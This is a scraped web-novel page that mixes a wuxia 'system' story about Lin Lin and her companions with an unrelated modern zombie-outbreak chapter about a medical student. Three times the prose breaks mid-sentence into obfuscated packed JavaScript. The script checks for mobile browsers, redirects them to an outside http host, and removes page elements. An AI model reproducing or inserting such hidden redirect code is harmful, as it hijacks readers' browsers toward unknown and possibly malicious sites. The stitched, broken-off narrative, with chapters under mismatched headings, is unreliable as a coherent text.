林霖叹了口气，“你才与我认识多久，就能猜出我的喜好了。不过医毒不分家，基本的原理没大差别，更何况我师父是学医的，我也就跟着耳濡目染了些。” “你明显更喜欢杀伤力更强的方式，”子卿将水递给了林霖，“喝一点吧，你到时候是想直接走，还是……” 林霖接过水喝了几口，“直接走吧，我不太擅长离别，你呢，第一次出家门？” 子卿愣了愣，随即笑着看向她，“我没什么可道别的，跟他们说一声就好，他们说不定也乐意让我出去看看。省的待久了，他们看我会不顺眼。” “没想到你这样的人待久了，也会让家里人看着不顺眼，”林霖站起身，走到他面前拍了拍他的肩膀，“帮我和阿双打声招呼，告诉她阿姐下次回来给她带柳州无双城的零嘴。” “我记住了，”子卿好整以暇的看向她，“不过你要去无双城的话，你准备好应带的东西了吗？” 林霖指着床上的包袱，笑着道：“我都备好了，师父曾教过我一个口诀。摆渡闭眼，赶路闭心，遇雾闭窍。” “看到不该看的东西时不要慌张，听到不该听的声音时不要回头，若真遇到危险，去观火处寻点火人，他会帮忙处理不必要的麻烦。” 子卿打了个响指，眼中全是惊喜，“你很懂啊，好友，那我这一行就全仰仗你了。” 不止我，你还可以仰仗钟不为。逃命的话她可以带子卿一起，打架的话，只能让钟不为自己来了。 以她的武力，顶多砍一砍没生命的死物，要她去和武林高手打架，那恐怕会立马飞天，被揍的很惨的那种。 “咳，反正不要担心，”林霖有些不自在的摸了摸后颈，“如果真到那个时候，会有神兵天降来拯救我们的。” “……” “你别不说话。” “我只是觉得稍微有点不靠谱，”看着林霖逐渐湿润的眼神，子卿赶忙换了话题，“对了，路上是不是要准备干粮……你又闹我！” 林霖笑着眨了眨眼，水汽氤氲一瞬间烟消云散。 “这怎能叫我闹你，既然选择跟着我走，你就得相信我。” “好吧好吧。”子卿认命的叹了口气，“缺什么我去准备。” 林霖想了想，神色逐渐认真起来，“别的都好说，路上都可以买。但唯有一个事情还真需要你去办。” “你说就是。” “两幅能遮住全脸的面具，两顶破斗笠，两件破披风。” 子卿皱了皱眉，“倒也不难找。” “重点来了，”林霖叹了口气，“你知道无双城分阴阳两个地界吗？” 子卿点了点头，“我曾在书籍中看到过，无双城分为上无双和下无双。” “传说，那里可通阴阳两界，因此无双城阳市卖得和正常城池里的东西无差，但下无双里的阴市，卖的都是和阴界相连的勾当，听说没有被邀请的人很难进去，几乎刚到那里就会被牛头马面与阴兵小鬼挡在外面。” 林霖有些惊讶，“看样子你看了不少书啊，不错，是这么个理，我要你买的东西就是可以进下无双的东西，所以这东西必须来自阴市，这样我们才能进去。” 子卿感觉自己头有些疼，他怀着满肚子疑惑望向林霖，“你要去那里找些什么东西，竟然需要我去找这么麻烦的东西。” “一个能打听任何人间事的阁楼，”林霖说道：“我要找的人正常渠道下打听不到，你要是找不到的话，钟不为能不能找到？” “他啊，”子卿语焉不详的糊弄道：“或许吧，我想想办法，找到了和你说，你有空了就去找娴姐拿些干粮，我把你的马牵来，它这段时间被养的很好。” 看着子卿落荒而逃的背影，林霖觉得自己真是越来越看不懂眼前这人了。 她找了个位置坐下来，给自己又倒了一杯水，“001，你真的找不到他们的踪迹？” “宿主，找不到哦，很早之前就告诉你了，还是这个结果。”001无奈的说道，“您问我你还不如去万事阁问问，即使我是天外来物，有很多东西我也是不知道的。” “比如说？”林霖还是有些不死心。 “比如说，我就不知道害你卷进剧情的罪魁祸首在哪里。”001平静的说出这句惊雷一样的话。 “能量波动和我一个层级的东西我都发现不了，”001继续说道：“毕竟我最开始被造出来是为了记录事件，不具有大量的寻人以及储备功能。” “如果按照你所说，你比我们这里高一个层级，所以能够与我和钟不为通过这种方式交流，”林霖有些焦躁的喝了一口水，“那对于这里的事情，为什么万事阁更加清楚。” “这我就无从得知了，”001更加无奈了，“我是没有办法探知没有记录的事情的，现在我也被卷入其中了，就更加不能了。” “你怎么知道不能啊？”林霖疑惑而着急的问道。 “因为我尝试过，”001的语气平静，“结局是我被捅死了，主系统直接爆炸，才侥幸在副系统中重生。” 它看着林霖满脸疑惑的样子，用它的机器脑袋想了想，想出了个合理的解释，“就像我之前在崖底给你讲的故事一样。” 林霖想了想，“蝴蝶效应？” “对，我现在充当的角色就是这只蝴蝶，”001说道：“若我当真卷入了这场风波，那么一切都会开始崩坏，直接走到一个无法预估的结局。” “我对世间万物的推断都是基于这个世间本身的生长死亡的规律而言的，若是有了我的加入，我将无法做出合理的解释，从而让这些事存在于不可控当中。” 001最后总结道：“所以那本禁书，应该是来自于另一个和我同层级的天外来物，而且我有很大可能打不过它。” 林霖感觉自己都快把整壶茶水喝完了，都没思考出来这个逻辑，“所以当初你为什么绑定我？” “因为你是我除掉它的突破口，”001的声音总算轻松了点，“我观察了很久，林府应当是它的爪牙，但你身在一个奇妙的剧情怪圈里，可以限制住这些爪牙的行动。” “若不是你的限制，以林府的行动能力和它的手段，这个世间早就被控制了，”001继续说道：“所以我绑定了钟不为，若真出现那种情况，就像当年的林述杀掉许丛洲一样，钟不为会诛灭林府的所有人，换来一个崭新的人间。” “所以钟不为和我是同一种人？” “不太一样，”001在林霖的脑海里摆出一个棋盘，“这块是你，这块是钟不为。” “你身上的一切效应都是异变带来的，所以你被控制，从而控制着其他人的手段，都属于这种异变的一部分。” “而钟不为，”001莹蓝色的光芒操控着属于钟不为的棋子，“他是这个世界对异变所做出的一种反抗结果，如果真的到那一天，他会走上救天下人的道路，将异变打回萌芽状态。” 林霖大概明白001的意思了，“你的意思是我现在相当于太极里黑里白，白里黑的那一部分，假如整个都属于异变的部分，那我的存在就是为了抗衡你们两方异变的存在。” “而如果这个太极属于这个世界和异变，那么钟不为就属于制衡太极阴阳平衡的存在。是这个意思吗？” 001称赞道：“不愧是我看中的宿主，脑子转的就是快，大概的形势你已经明确了。” “所以如果我利用我与林家的这份异变关系，去制衡与你对应的那一部分，我身上的一切不正常，就都能够全部消失？” 001笑道：“是啊，就连我也会从你身上消失，那个时候我也能回家了。” 这倒声音有怀念，也有悲伤和舍不得，林霖感受着这些话，却有些不太明白为什么001对回家这件事，抱有如此悲伤的态度。 “那钟不为呢，他知道自己被你看做救世主吗？” “不知道啊，他是主动找上我的，”001回想到那个时候的事情，“他是为了靖城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一个玄色地身影立在门外的梨花树下，被风吹拂起的梨花洋洋洒洒的落在他的头上，肩上，身上。 林霖突然想起了昨晚的梨花香，清淡而甜蜜，就像梨花的花芯一样。 那个身影回过头，梨花承载着阳光，落在他鬓边的发丝上，那双眼睛在阳光的照射下，显出浅淡的琥珀色。 她这才知道，这人的眼睛不是纯粹的黑色，而像亮而透的琥珀，承载着光，看人的时候眼瞳透亮，却又像是蒙了层雾一样。 “你怎么在这里。”林霖向那边招了招手。 “来找你，”钟不为走到林霖的面前的窗子外面，“某个人告诉我，他对你的需求很头疼，所以让我来找你，帮你寻找你要的东西。” “那你愿意帮我找吗？” 钟不为摸了摸挂在腰间的剑，颇有些无奈，“我若是不帮你找，那我就不过来了。你说的那些东西虽然有些晦涩，但我仔细去问问，也没什么难的地方。” 他从怀里摸出一包油纸包，“这是他叫我带的梨花酥和包子，快点趁热吃了。” “他呢，为什么不自己过来。” 钟不为眨了眨眼，说道：“他忙得很，忙着道别，忙着帮小孩采一采梨花。可没多少时间来陪你。” “你若真想玩，或者和他一起找东西，”他将油纸从窗户那里递了出去，“那得等他一切都忙完了，才有可能有时间空余。” 说到这里，他挑了挑眉，眼中闪过一丝戏谑，“还怕我骗你？我早就不干骗人的勾当了，你要不要找我来帮你去买。” 林霖接过了油纸包，“那就你与我同去，别耽误我计划好的事情就可以。” “你既然没有准备好，那为什么昨天那个时候要离开靖城？” 面对钟不为探究的眼神，林霖有些语塞，她能说她昨日完全是被001勉强的吗，她也不想起这么早。 “这个问题我拒绝回答，”林霖缩回了身子，继续向庭院的方向走过去，“你若是闲得无聊，就去打听打听这些东西的下落。” “作为曾经的敌人以及现在的陌生人，我私以为你不该与我这么亲密。” 钟不为乐了，“那你就能放心让你过去的敌人去帮你办事，你这个想法真是。” “那你说你干不干吧。” 两人的视线对上，最终以钟不为的告退作为终结。 “好好好，我认输，我去办，你先吃东西，等我从商贩那里回来，再告诉你东西的下落，”钟不为利落的转身远去，“时间可能会有点长，毕竟这玩意可不好找。” 看着钟不为利落飞上屋檐的身影，林霖向着他的方向喊到：“你悠着点，别摔了！” 刚说完，那个潇洒的身影就晃了个趔趄。 林霖笑着转过了身，心情顿时愉悦了些。 21. 柳州行（二） 林霖被推下悬崖的时候无疑是恨的，只可惜她自己不能主宰自己的身体。 就连倒下去的那一刻，对着他人的眼神都带着凄婉、哀苦与释然。 若有一天她能从地狱爬起来，定要这群人挫骨扬灰，报她被欺辱之仇！ 林霖的生活就像画本子里写得那样，真假千金，侯府虐恋。 儿时，她与假千金林舒然被姨娘身旁的嬷嬷交换，而她则以死胎的身份丢到荒郊野岭。 一对又懒又坏的养父母把她捡了回来，让她与牛羊一窝，勉强长大。待她有力气站起身时，就开始每天洗碗割草种地，打扫卫生的日子。 她被林家接回来的时候，正是林霖准备逃脱这家人的日子。 只可惜一辆马车阻断了她心心念念的未来，把她从一个深渊带入另一个更不可控的深渊。 林霖不是没有想过和假千金好好相处，虽然她才是真的林家大小姐，但她才刚被接回来，没有打探清楚这群人对她的看法，正处于寄人篱下的境况，更应该小心行事。 没想到这家人带她回来，根本是不想给她活路。 林霖刚踏进府里，一堆人就对她威胁来威胁去，她还没吃上一口热乎饭，洗个干净澡，就被林舒然频频陷害。 那该死的祸害又是哭，又是嫁祸，硬生生的把她的名声祸害的整个京城的人都能说一两嘴她的笑话。 虽然林霖也没搞明白，像林家这样的大户人家为什么会允许自己的“家丑”在外面肆意飘扬。别的京城世家也只对她一人落井下石，难道这群人就没有自己的事情要干吗？ 在假千金，林父林母，二三四五哥轮番的摧残后，她终于被折磨的不像样。 就是从这个时候，她的躯体不受她自己的控制。 侯府很随意的就接受了她替换林舒然嫁给瘸子世子，然后那个世子又高高在上的对她嘲讽的说:“像你这样的贱民，不论怎样都比不上舒然的一根头发。” 每到这个时候，林霖的身体都会被控制，一脸哭唧唧的给那狗男人和祸害洗手作羹汤，冷脸洗内裤。 刚说完自己不爱了，就是高强度的被一堆煞星折磨的吐血断腿，还生了冻疮。 她林霖从小到大，即便是当年要被嫁给村东头傻子王二喜的时候也没受过这种气。 来到这京城，不仅仅生别人的气，更是被自己气的半死。 最后就是，她和假千金同时被绑，叉烧家人和煞星未婚夫都选假千金，选之前还又轮番放了一波狠话，挨个扎了一遍她的心，把她贬进尘埃里，最后她被绑匪一把推下悬崖。 这一辈子真是气死她了，这十六年就没有一天舒心的！ …… 山崖底，一个正在钓鱼的男子看着不远处飞溅的水花与水中不断散开的红色，心底多了些不好的预感。 果不其然，他刚一凑近，就看见一个皱着眉的女子在水面上飘荡。身体上的伤口被这股冲击力撞击开来，在水中缓缓蔓延。 男子抬头，看向悬崖边上断裂的长短不一的树枝，皱了皱眉，要是没有这些树枝帮忙缓冲，这女子恐怕掉下来的那一刻就死了。 想到这里，他连忙向不远处的竹屋喊到:“夫人，来搭把手，这里有位受伤的弱女子！” 一位举着剪子的女人从屋中走出，她快速来到河边，看着林霖浑身上下的伤，皱了皱眉:“我把她送入屋里，你找药箱。” 说完不等男子回应，她已然跳进河里，将林霖捞了起来。 “夫人，下次还是告知我一声，”男子有些无奈地抹了一把脸上的稀薄的血水，“我把金疮药和针递给夫人，劳烦夫人配合我完成救治了，还是女子之间比较方便。” 女子微微一点头，与男子快步走进屋内。 …… 林霖这一觉睡得很沉，梦里光怪陆离，那些煞神们不断追着她跑，张牙舞爪的要害她的性命，即便她逃到边陲，逃到天涯海角都能被那些人发现。最终她再也跑不动了，麻木的忍受着那些怪物在她身上吮血吃肉。 “别睡，睡了就再也醒不来了。”一道凌厉的声音稍微让她的脑子清醒了一些，她继续挣脱开那些怪物逃跑起来。 她不想死，她还有那么多事情要做。 好不容易逃开了控制，好不容易离开了那些个吃人的地方，她想活下去…… “你要和我绑定吗？” “你是什么，能救我吗？” “当然可以，但和我绑定就意味着你得帮我完成任务。” “……伤天害理吗，杀人放火吗？” “为国为民的好事，”那道奇怪的声音戏谑的拐了一个弯，“帮我完成任务的同时还可以顺便帮你复个仇。” “好。” 林霖沉默良久，在脑海里轻轻回答道，即使未来可能又要被什么怪人怪物掌控，但她能够拥有反抗别人的力量，这就够了。 她想活着。 “叮，绑定成功，系统洲001号为您服务，察觉到宿主生命体征不稳定，即将为宿主开启生命休眠舱维持生命体征。” 那道声音难得正经了一会儿，很快又戏谑的笑了起来，“开启生命休眠舱的积分需要宿主后续做任务进行偿付哦。” 刚又了一些力气的林霖听到自己欠了一笔债，眼一黑又彻底昏过去了。 刚在外面还在苦恼这女子血流不止的夫妻俩，看着林霖身上的伤口逐渐愈合，结痂，男子观察着她的面色，沉吟着探了探脉。 “最紧急的病症正在缓慢愈合，但有一些沉疴病症还一动未动，真是怪了。” 男子有些惊奇的看着林霖，眼里多了几丝兴味，“虽然不知这姑娘愿不愿意喝苦药，但既然来了我这里，我必然给她调理的服服帖帖，保证身体健健康康。” 女子瞥了他一眼，“许神医真是菩萨心肠。” 男子讪讪一笑，“大不了我给她多加些蜜制的甜叶菊便是，正好清清她的火气。” 反正他也不是故意让这位姑娘喝苦药的，他绝对没有看着别人喝苦药就会兴奋的感觉，这完全是治疗所需。 日子就这么一天天过去，林霖的伤势也在一天天缓解。在神秘力量和许姓神医的帮助下，她终于恢复了神志。 只不过刚一醒来，一股苦涩还略带点酸的感觉就冲着她扑面而来，吓得她赶紧睁开眼睛。 一个脸上带有些许伤痕的女子正怀抱着她，手上还拿着一碗药。见林霖睁开眼，女子挑了挑眉，淡淡问了一句，“醒了？” 林霖不熟练的用脖子微微点了点头，了。 “许秋意，你就回来的人醒了。” 这声音不大，却引来了一阵不小的动静，名叫许秋意的男子兴奋的冲进屋里，将手上的水舀子放到桌子上，满意的上下打量了几眼自家夫人怀中的女子。 “夫人，看来我的功力丝毫未减啊。” 女子顿了顿，将还未送入口中的药递给男子，看着林霖的眼神中也带了些许欣慰，“我叫傅成欢，他叫许秋意，你半个月前落入招风崖的河里，正巧被我们看见，带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林霖有些疑惑，但那个叫做系统的会发出金属嗡鸣声的东西告诉她，眼前这位是在话本子流传十余年的万毒手。 如此大人物，竟然为这点小事心生愧疚，虽然感觉有点怪…… “你怎么还真惶恐起来了，”许秋意哈哈大笑，“像你这种漏风心眼，连我这点小算盘都看不穿，怪不得被追杀的如此惨烈。” 林霖的瞳孔微震，这人还没老，就已经老不正经了吗？ 傅成欢若有所思的看向林霖，“现在京城里都是像你和你家里人一样单纯好骗的人？” 林霖拼命摇头。 “老许，教教小姑娘，让她脸皮厚一些，这样回去不得继续被欺负死。” “你们……知道……” 傅成欢又往林霖嘴里送了一口药，“当然知道，不知道你早该埋尸荒野了。” “而我们呢，最近过得实在是无聊，”许秋意接到:“教导你报仇手段，你请我看一场复仇大戏怎么样？” 看着眼前这双眼，过往的一切重新出现在她脑海里，来回翻转，她甚至是有些痛苦的皱了皱眉。 情绪有的时候也会如剜骨刀一样，让她痛彻心扉，而这句报仇更是蒙蔽了她的双眼。 更何况，脑海里一直有个东西在催促她，这是她能抓到的最好的机会。 就在这种驱使下，林霖用着沙哑的声音，应了一声好。 因此，那一声轻轻的叹息，也未曾落进她的耳中。 22. 柳州行（三） 余风意看着电脑屏幕上修改无数次的实验方案后叹了口气，从他考上研究生到今天，每天好像都在做着同样的事情，虽然忙，但也不知道在忙些什么。 他看了一眼手机，眼瞅着快到下班时间，余风意心安理得的关上电脑，刷起了手机，视频依旧是猜他爱看类型，刷了一会以后感觉还是无聊，随便找了一篇末世相关推文带上耳机开始边听边闭目养神。 听着耳机来传来的ai女声声情并茂的讲解，余风意随手拿起一支笔在手中旋转起来，屋外的夕阳照射在他脸上，让他感到昏昏欲睡，只是心底一直压着事情，刚休息了一会，他就烦躁起起身收拾起自己的东西。 和他一起待在自习室的师弟听着椅子在地上的轻微磕碰声，有些迷茫的抬起头，“师兄，你要走了啊？” “嗯”，余风意简单的答复了一声，伴随着师弟低低的叹息声离开了学校。 本科时期那种对学术的憧憬已然消失在一次又一次的实验里，现在的他不仅仅要做实验，还要发表文章，更要去医院里规培。连轴转的痛苦，让他在每一个熬夜的夜晚恨不得变成一只八爪鱼，或者说变成家里那盆多肉，成为一个可以光合作用的废物，好好的休息一段时间。但最该死的就是，他既想要自己不去工作不去学习，又放不下自己该死的自尊心与好胜心真的任由自己沉落下去。 自嘲的审视了自己一番后，余风意站在校门口，拿着手机刷了几下，在点到微信看到自己余额的时候，他成功打了个哆嗦，放弃内心打车的想法，打算坐公交车出去。 大抵自己这一生也就这么过活了吧，碌碌无为，碌碌无为，生活仍碌碌无为...... 他走上公交车看着又一次爆满的座位，来不及感叹自己的运气，就被疯狂的放学下班大军挤得变性了五个等级。 一只手拽着公交车的扶手，另一只手拄着自己的头，面目狰狞的用诡异的姿势刷着手机。余风意也不理解他为什么要趁着这个时间拿着手机猛看，但不看，好像对他来说又是极大的损失。 很快报应就来了，他感受着自己晕眩的脑袋，抿着嘴咽下了嘴里恶心的感觉，刚维持好心态就被突如其来的撞击撞了个趔趄。 “你没事吧？”一只粗糙的手把他歪了的身子拉了回来，余风意艰难的一转头，发现那是个满头灰发带着鬼怪面具的男人。 他有些迟疑的看着自己被贴上可爱创可贴的手臂，有些疑惑，“为什么要给我？” “因为你被划伤了，我不清楚是不是因为我身上的配饰造成的，”男人言简意赅的指着创可贴说道：“我在漫展上买的同人周边，放心用。” 原来是coser,余风意摆了摆手，也无意为难陌生人，在简单客套几句后，余风意看着男人的背影叹了口气，那哥们的面具真挺帅的，只可惜他不好意思去问。 越到这趟公交车的终点站，车上的人也就越来越少，房价也就越来越便宜，但他所居住的小区人烟却并不稀少，老头老太太在花坛旁激情的跳着广场舞，还有跟着音乐一起跳交际舞的男男女女不论老少，虽然音乐并不相通，但却相当益彰的成为这个小区常见风景。 余风意欣赏了一会，随即被飘来的饭菜香吸引了注意力，长久地学习让他现在才想起来今早起得晚，直到现在还没有进食一粒米。 只是现在再做饭也不知何时才能吃上，不如买点得了。 想到这里，他环视了一圈四周的摊子，最终按照摊主的颜值决定自己的晚饭就吃手抓饼。 他清了清嗓子晃晃悠悠的走到了一个摊子前，摊主虽然带着口罩和帽子，但从身形足以看出那是一个长得不错的帅哥。 余风意欲言又止的看了一眼摊子红底白字的招牌-手抓饼，烤冷面，修水管，民事诉讼。 摊主似乎察觉到了他的视线，将手机放到兜里，站起身来问道：“吃点什么？” 看着余风意依旧呆愣的眼睛，摊主叹了口气，指着铁板前面的小吃清单说道：“这里有各种配制的手抓饼，还有烤冷面，”想了想补充到，“你难道是来找我打离婚官司的？我是H大法学生，在律所有三年工作经验，最擅长离婚和财产官司，你想要这类型的民事诉讼可以联系我。” 余风意眼含敬意的看向摊主，“来一个肉松加肠的手抓饼，少放生菜。” 摊主有点受用这样的眼神，将面饼放到铁板上的时候，眼里透露出些许笑意，“我还会修自行车和电动车，有需要可以来找我。” “......学长，你真让我敬佩，咱俩加个微信吧。” 摊主看了他一眼，随即将手机从裤兜里摸出，调出了二维码，“你也是H大的学生？” “是啊，医学专业，现在硕士快毕业了。” “嗯。” 余风意看着在铁板的挤压下滋滋冒油的火腿肠不由得咽了一口口水，转眼间就把尴尬的气氛抛之脑后，毕竟天大地大吃饭最大。 摊主把饼翻了个面，金黄酥脆的饼在阳光下泛着美妙的光亮，低沉的嗓音从口罩中传出，“你要番茄酱还是沙拉酱。” 犹豫了几秒，余风意诚恳的问道:“我能都要吗？” 摊主看了他一眼点了点头，“可以，马上就好。” 看着两道明媚的酱汁在饼上形成了完美的函数曲线，紧接着被摊主用极其熟练的手法涂抹均匀。余风意就明白了，这张手抓饼，肯定会好吃。 用微信扫了七块钱，他愉悦的与摊主道了别，带着还算热乎的手抓饼回到了出租屋。 在当今一众的高楼大厦中，只有六层楼高的小房子显得格外突出，但也让余风意的腿得到了极大的休息，三两个跨步就能登上台阶，重复两三次就能直达出租屋。 唯一的缺点可能就是隔音有点劣质。 刚踏进防盗门，嘹亮的声响响彻在楼道里。 “你个熊玩意，再不写作业试试看!天天就知道玩手机，暑假都快结束了，你这作业是想让我替你写完吗，你个死孩子，天天拖拉，日日夜夜拖拉，每次我一说你你还给我犟嘴，等你爸出差回来得知还要给你写作业，到时候不用我说，你铁定每名！看我干嘛，还不快去！” “你能不能讲点道理，我写了这么久的作业了还不能让我玩一会!是我写不完作业吗，是老师留的作业太多了!” “你还跟我狡辩!你看看，电脑都热成这样了，都快冒烟了！你还跟我说你玩没一会，欠揍吧你……” 哭叫声与怒吼声此起彼伏，不管什么时候，学习这个东西总是横跨于家长和孩子之间，他曾经有幸被他家楼下的这位女士请来给他家儿子付费指导一个暑假，从此他就对母亲和孩子这两个类别产生了极高的敬意，也对自己的能力产生的极大的怀疑，那一个暑假过后，他甚至对导师的PUA都产生不了极大的情绪波动，这一切的原因绝对不是因为孩子他太难教。 当然，这种敬意足以让他每次见到孩子都挼一下他的头，悠然的告诉他大学生没有暑假作业。 然后在痛苦的暴鸣声中施施然回到出租屋。 这是他放假还被困到学校附近产生的少有的乐趣。 今天也是一样，他听着楼下母子二人如同相声一样的双重奏吵架声乐得前仰后合，也得亏楼下的小学生不是真的熊孩子，每次吵架不是纯粹吱哇乱叫那种，总是会据理力争，自己哭得前仰后合还要向他家长证明他没错，但通常结果都以他死鸭子嘴硬被家长发现证据，从而打得小声抽噎为结局。 听着楼下的声响逐渐消失，余风意看着仅剩的生菜，思考半晌后，用及其苛刻的眼神审视了一番它的水灵程度，随即塞入口中仔细品尝，虽然他不喜欢吃，但是蔬菜是他必不可缺的维生素摄入食物之一，毕竟他也不能总吃肉不吃青菜。 手机叮咚一声响，他看着微信上好友通过的消息提醒，挑了挑眉，将饭后垃圾收拾了之后，斟酌着字句，问出了困扰他三四天的问题，“学长，你会通下水吗，厕所地漏那种。” 可能是摊前没有客人，摊主很快回话了，“可以，我大概七点左右收摊，如果确定要通的话七点二十左右过来，价钱视情况而定，基础价格20，如果过于难处理也不会到五十块钱以上。” 倒是比他想象的要便宜，余风意权衡了一下觉得完全可以接受，于是把自己地址发了过去，“聚百得超市左手边一直往前走，楼梯凳旁边的那个单元楼，我在三楼，靠楼梯右手边，到门口了告诉我一声，发个微信。” 对面的人非常简短的发了个OK。 得到了肯定的答复，连带着今天因为实验导致的沉闷的心情也好了不少。 余风意站起身把手机放回去充电，打开笔记本电脑随便点了个视频就开始自动连播，充当自己娱乐时的背景音。 羊毛毡的所有材料凌乱的摆放在桌子上，伴随着针的进出声，忙活了四五天的商单总算是完成了，看着自己手里的小人和几件衣服，余风意想了想还是给这个小人套上了一件他自认为拍照最好看的衣服，，拿起正在充电的手机，在多个角度迅速排了几张照片，选了几张光线还可以的给单主发了过去。 不出五分钟，单主那边就传来了啊啊啊的欢快表情包，言辞恳切的说出了一句又一句的彩虹屁，尾款也是非常痛快的付了一半。 看着手机对面非常兴奋的单主，他也是毫不吝啬自己的夸赞，“你的oc很好看，让我做工的时候心情也十分愉悦，能有这么细致的oc设定足以看出来你对他付出了非常大功夫，这种功夫也是我能完美将他做出来的关键，在这个单子里你也很重要呢，不要妄自菲薄哦。” 对面的单主又是一阵疯狂感动，在得知明天就可以发货的时候，非常开心的表示虽然他的商单很难抢，但下次还要抢。 余风意笑了笑，小心翼翼的给羊毛毡娃娃做了个精美的包装后保护起来后才真正松了一口气。 翻了翻自己的账号后，打算还是明天再发新的商单，毕竟他做这个就是纯粹为了兴趣，挣钱的活还是得看那份在医院的工作，这样的好处就是每个商单都能做得比较精细，还不浪费他写论文的时间。 刚把羊毛毡放到合适的地方，电脑那里就传来了一阵尖叫声，还有撕咬声。 余风意不由得颤了颤，有些后怕的皱眉看向电脑，却发现不知何时跳到了营销号画面，上面马赛克虽然挡住了屏幕中央的血腥画面，但依旧能看出来里面在进行着什么惨绝人寰的事情，里面人的惨叫声传到余风意耳边，直接激得他浑身发毛，视频没有什么解说台词，时长也只有十几秒，看起来不像是普通营销号能发出来的。 他取消连播按钮，想要返回那个视频仔细查看一下，却发现那个视频已经失效，搜索相关视频，却只发现了一些杂七杂八的陈年视频，陈旧程度不亚于他太爷爷当年盘了三四十年的陈年核桃，每年几乎都会再被那些营销号翻新，配合着老旧解说台词拉出来遛一遛。 但刚才那个视频...... 余风意皱了皱眉，微信却在此时弹出消息提示音，同时他家门口响起敲门声，他扫了一眼，是刚才他那位不知名校友的消息，说他已经到门口了。 扒开猫眼观察了两眼，辨别了一下眼睛和睫毛长度，余风意就确认了对方的身份。 打开门，那位校友依旧带着一副口罩，手里提着一个工具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138938|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱礼貌地点了点头。 还不等余风意给他拿拖鞋，对方就从箱子里取出一双一次性酒店类拖鞋在玄关处换了上去，工具箱底部也是垫了一张干净的报纸被安静地放在地上。 “学长，你的工作态度这么好，价钱还如此便宜，真的没有很多人叫你去修东西吗？” 学长笑了笑，边从工具箱拿东西，边回答道：“可能是我看起来没有平时通下水的那些人看起来靠谱，看起来又过于年轻，给人的信服度自然不如那些老师傅大。” “但有一个结论非常明确，只要你缺钱，一切生活技能都能学会。” 余风意靠在墙上，看着学长背对着他的身影，产生了一种同时天涯沦落的心酸感，看来这年头，哪一件事情都不好办啊。 事实证明，不能只根据一个人的年龄来判断人，当水丝滑的流到地漏里，并且丝毫吗，没有溢出趋势的时候，他都想给眼前人磕一个了。 “哥们儿，你是真牛啊。” “你真是客气了。”柳云晖锤了锤因为蹲的时间太久而酸疼肿胀的腰，叹了口气，刚准备站起来收工回家的时候，窗外突然传来此起彼伏的惊叫声。 这一吓，他落在地上的那只脚被自己的腿狠狠绊了一下，直直朝着余风意面前的地板砸去。在鼻尖即将接触到地板的时候，腹部和胸前被一双手拖住。 这一刻，他无比庆幸自己带了口罩，能够十分自然的面对自己的雇主屈膝半跪一脸惊恐接住他的事实。 余风意只感觉自己的魂都快随之飞走了，差一点，他学长的鼻子就要和地面进行力的相互作用，他敢打包票，学长的鼻子绝对抗不过地板的一击。 “多谢，我试着起来一下。”柳云晖控制着自己的腿平铺直叙的与地面来个大面积接触，才让自己的鼻子脱离了撞击危机，只是他的双腿直直下跪在地面，比电视剧里想要沉冤昭雪的罪臣跪得还要笔直。 两人面面相觑地看了对方一会，余风意一直在心底劝慰自己不能一见面就嘲笑对方，这是非常不礼貌的行为。 所以他用了这一生达到巅峰的定力，用尽量平和的眼神将眼前人扶了起来。 但这一切放在柳云晖眼里，眼前的人神色严肃，眼神坚定，好像他这一摔干了什么不得了的事情。 算了，雇主开心就好...... 两人无视发生一样一个交钱一个收钱，在这一切结束后两人同时意识到，外面尖锐的叫喊声依旧没有停歇。 余风意急忙跑到窗边，仔细观察着周围场景，与他想象的吵架场景毫不相干，外面人流窜动，每个人都在逃命，有的人神色惊恐，不敢发出一点声音。周围太乱，余风意寻找了一段时间后才发现事件源头，那是两个浑身血污的“人”，他们分别抱着两个哀嚎的人撕咬啃食。 啃食别人的其中一个人余风意认识，那是一个卖干豆腐的叔叔，有的时候他从实验室回来就会去他那里买豆腐。那叔生意不忙，还会把干豆腐帮他切成片。而现在，他缺了半边脑子的头正在毫无意识的啃咬着小区里的其余人。 意识到这一点后，他捏紧阴台的大理石台面，有些迷茫的张了张嘴，感觉每个字都是从心里被剖出来的，“我是在做梦吗？”为什么会变成这样啊？ 柳云晖摘下了口罩，神色有些凝重和羞愧，“......我能不能请求你一件事。” 余风意这时也缓过神来了，拿起手机准备向父母打个电话，“你说，只要我能帮上忙就可以。” “我住在这栋楼的七楼，遇到这种情况可能不太方便，我能不能在你这里暂住，我可以把我那块的吃的全部搬下来，我那边还能装修材料。” 看着柳云晖的眼睛，余风意轻轻点了点头，在他看来，这种情况下两个人呆在一起总比一个人好，至少说话还能有个伴，他挥了挥手示意柳云晖去拿自己的东西，自己则是跟刚接通电话喜气洋洋向他问好的父亲说道：“爹，你现在让我妈回来，外面有危险，等我妈回来的时候门窗锁好，房门紧闭，顺便多接点水，多拿点吃的，末世来了，我没开玩笑。” 正在炒菜的余老爹听到这话讶异地长大了嘴，脑子根本反应不过来怎么回事，只能按照自己儿子的指示一步一步拾掇自己家里的东西，在接收到儿子接二连三的强调语气后，手机那面传来了嘟嘟声，显然是儿子把接下来的时间交给他来联系自己老婆了。 他这个时候才意识到什么，关火关煤气，着急忙慌的收拾着家里，在收拾之余给还在外面跳舞的老婆打了个电话。 